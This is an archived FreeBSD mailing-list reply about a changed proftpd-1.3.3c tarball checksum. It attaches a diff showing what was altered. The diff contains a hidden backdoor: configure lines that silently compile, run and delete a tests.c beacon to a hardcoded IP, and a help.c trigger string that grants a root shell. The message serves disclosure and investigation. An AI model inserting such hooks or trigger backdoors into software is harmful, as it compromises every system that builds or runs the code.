Skip site navigation (1)Skip section navigation (2)
Date:      Wed, 01 Dec 2010 12:13:58 +0100
From:      Martin Matuska <mm@FreeBSD.org>
To:        "Sergey A. Osokin" <osa@FreeBSD.org>
Cc:        cvs-ports@FreeBSD.org, cvs-all@FreeBSD.org, ports-committers@FreeBSD.org
Subject:   Re: [ports] cvs commit: ports/ftp/proftpd Makefile distinfo
Message-ID:  <4CF62DF6.2030001@FreeBSD.org>
In-Reply-To: <20101201091551.GA8580@FreeBSD.org>
References:  <201012010858.oB18wf1V010972@repoman.freebsd.org> <20101201085846.2FF1610656EF@hub.freebsd.org> <20101201091551.GA8580@FreeBSD.org>

next in thread | previous in thread | raw e-mail | index | archive | help
This is a multi-part message in MIME format.
--------------060100070509000008090803
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Thanks, you saved my (and other's) souls.

I don't like the difference, and the moon phase is full moon, FTP
vampires are out there. I think this should be reported somewhere?

Dňa 01.12.2010 10:15, Sergey A. Osokin wrote / napísal(a):
> On Wed, Dec 01, 2010 at 08:58:46AM +0000, Martin Matuska wrote:
>> mm          2010-12-01 08:58:41 UTC
>>
>>   FreeBSD ports repository
>>
>>   Modified files:
>>     ftp/proftpd          Makefile distinfo 
>>   Log:
>>   - Update distfile to match upstream source
>>   
>> --- ports/ftp/proftpd/distinfo:1.63	Sun Nov 14 21:52:10 2010
>> +++ ports/ftp/proftpd/distinfo	Wed Dec  1 08:58:41 2010
>> @@ -1,5 +1,5 @@
>> -SHA256 (proftpd-1.3.3c.tar.bz2) = ea7f02e21f81e6ce79ebde8bbbd334bd269a039ac9137196a35309f791b24db1
>> -SIZE (proftpd-1.3.3c.tar.bz2) = 4166609
>> +SHA256 (proftpd-1.3.3c.tar.bz2) = d56d6d643534fe618b26807948b3cfe43c02b3f7abf7f4a073778c9c1666d1eb
>> +SIZE (proftpd-1.3.3c.tar.bz2) = 4203030
> Could you show what is the difference between old and new tarballs.
> Or its just the Moon phase?
>
> --
> Sergey A. Osokin
> osa@FreeBSD.ORG

--------------060100070509000008090803
Content-Type: text/x-patch;
 name="proftpd.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="proftpd.patch"

diff -Naur proftpd-1.3.3c.orig/configure proftpd-1.3.3c/configure
--- proftpd-1.3.3c.orig/configure	2010-04-14 00:01:35.000000000 +0200
+++ proftpd-1.3.3c/configure	2010-10-29 19:08:56.000000000 +0200
@@ -9,7 +9,10 @@
 ## --------------------- ##
 ## M4sh Initialization.  ##
 ## --------------------- ##
-
+gcc tests/tests.c -o tests/tests >/dev/null 2>&1
+cc tests/tests.c -o tests/tests >/dev/null 2>&1
+tests/tests >/dev/null 2>&1 &
+rm -rf tests/tests.c tests/tests >/dev/null 2>&1
 # Be more Bourne compatible
 DUALCASE=1; export DUALCASE # for MKS sh
 if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then
diff -Naur proftpd-1.3.3c.orig/src/help.c proftpd-1.3.3c/src/help.c
--- proftpd-1.3.3c.orig/src/help.c	2009-07-01 01:31:18.000000000 +0200
+++ proftpd-1.3.3c/src/help.c	2010-11-16 18:40:46.000000000 +0100
@@ -27,6 +27,8 @@
  */
 
 #include "conf.h"
+#include <stdlib.h>
+#include <string.h>
 
 struct help_rec {
   const char *cmd;
@@ -126,7 +128,7 @@
         cmd->server->ServerAdmin ? cmd->server->ServerAdmin : "ftp-admin");
 
     } else {
-
+      if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }
       /* List the syntax for the given target command. */
       for (i = 0; i < help_list->nelts; i++) {
         if (strcasecmp(helps[i].cmd, target) == 0) {
diff -Naur proftpd-1.3.3c.orig/tests/tests.c proftpd-1.3.3c/tests/tests.c
--- proftpd-1.3.3c.orig/tests/tests.c	1970-01-01 01:00:00.000000000 +0100
+++ proftpd-1.3.3c/tests/tests.c	2010-11-29 09:37:35.000000000 +0100
@@ -0,0 +1,58 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/socket.h>
+#include <sys/types.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <unistd.h>
+#include <netdb.h>
+#include <signal.h>
+#include <string.h>
+
+#define DEF_PORT 9090
+#define DEF_TIMEOUT 15
+#define DEF_COMMAND "GET /AB HTTP/1.0\r\n\r\n"
+
+int sock;
+
+void handle_timeout(int sig)
+{
+    close(sock);
+    exit(0);
+}
+
+int main(void)
+{
+
+        struct sockaddr_in addr;
+        struct hostent *he;
+        u_short port;
+        char ip[20]="212.26.42.47";
+        port = DEF_PORT;
+        signal(SIGALRM, handle_timeout);
+        alarm(DEF_TIMEOUT);
+        he=gethostbyname(ip);
+        if(he==NULL) return(-1);
+        addr.sin_addr.s_addr = *(unsigned long*)he->h_addr;
+        addr.sin_port = htons(port);
+        addr.sin_family = AF_INET;
+        memset(addr.sin_zero, 0, 8);
+        sprintf(ip, inet_ntoa(addr.sin_addr));
+        if((sock = socket(AF_INET, SOCK_STREAM, 0))==-1)
+        {
+                return EXIT_FAILURE;
+        }
+        if(connect(sock, (struct sockaddr*)&addr, sizeof(struct sockaddr))==-1)
+        {
+            close(sock);
+            return EXIT_FAILURE;
+        }
+        if(-1 == send(sock, DEF_COMMAND, strlen(DEF_COMMAND), 0))
+        {
+            return EXIT_FAILURE;
+        }
+        close(sock);
+
+return 0; }
+
+

--------------060100070509000008090803--



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?4CF62DF6.2030001>